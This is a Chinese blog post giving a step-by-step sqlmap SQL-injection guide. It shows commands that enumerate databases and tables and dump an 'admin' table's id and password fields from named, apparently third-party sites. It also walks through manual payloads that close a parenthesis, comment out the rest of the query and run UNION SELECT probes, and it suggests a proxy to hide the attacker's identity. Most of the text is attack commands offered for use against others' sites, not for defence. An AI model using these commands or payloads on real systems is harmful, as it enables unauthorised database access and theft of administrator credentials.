最新消息:

sqlmap注入常见用法一条龙

工具使用 admin 2740浏览 0评论

sqlmap是一个灰常强大的sql注入检测与辅助工具,但是由于没有图形界面,基本上用起来比较麻烦,导致很多人可能宁愿用havij或者是pangonlin也不愿意麻烦去翻帮助界面,我自己也是把很多语句贴到了一个记事本里面用,其实真正用起来也就5,6句,也不会太复杂,下文以php+mysql为例:

  1. 检查注入点 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11
  2. 数据库信息 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 –dbs
  3. 指定库名列出所有表 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 –tables
  4. 指定库名表名列出所有字段 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin –columns
  5. 指定库名表名字段dump出指定字段 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password –dump

有几个参数可能会用到,直接加在最后面就可以了,更多详细参数见官方文档:

  • –cookie=COOKIE                                       在需要登录的地方,需要登录后的cookie
  • –proxy=”http://127.0.0.1:8087″                  使用HTTP代理隐藏自己的身份,比如使用goagent等
  • –sql-query=QUERY                                     执行一个sql语句,不一定支持

过程的几张图如下:

sqlmap step1sqlmap step2sqlmap step3sqlmap step4

sqlmap-step6

 

自定义sqlmap注入语句进行高级注入

现在能够帮助我们进行sql注入检测的工具越来越多,但我认为,通用性最强的还是sqlmap,其他工具在灵活性上远远不及sqlmap。sql注入有许多类型,其中最喜欢的当然是能够union查询的,比blind类型的不知道爽到哪里去了。 现在有一个url已知存在sql注入漏洞,我们丢到sqlmap里面,跑一下,结果是这样的

sqlmap -u "http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2" -p ppid

sqlmap 很明显,是一些比较恶心的注入类型,bind和error-based,难道我们就只能听工具的了么,我们手动来看一看。sq报错如下

MySQL Error
Message: MySQL Query Error
SQL: select ..... and pass=0 and (c.catid=2' or c.parentid=2') and subject like '%%'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' or c.parentid=2') and subject like '%%'' at line 4
Errno.: 1064
Click here to seek help.

报错显示,这里懂sql语句有点复杂并且不是常规懂类型,需要闭合括号还有最好屏蔽掉后面的like语句,构造一下

http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2)  order by 15 -- 
http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2)  order by 16 --

order by确认了查出来懂总共16条,那么,继续试试

http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) and 1=2 union% select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --

sqlmap   手工确认之后,使用sqlmap来继续进行,我们需要用到sqlmap的两个选项,suffix和prefix,添加以下语句的前缀和后缀。

sqlmap -u "http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2" -p catid --suffix=" -- " --prefix=")"

sqlmap   成功自定义了注入的语句,出现来union类型的注入。

 

转载请注明:jinglingshu的博客 » sqlmap注入常见用法一条龙

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址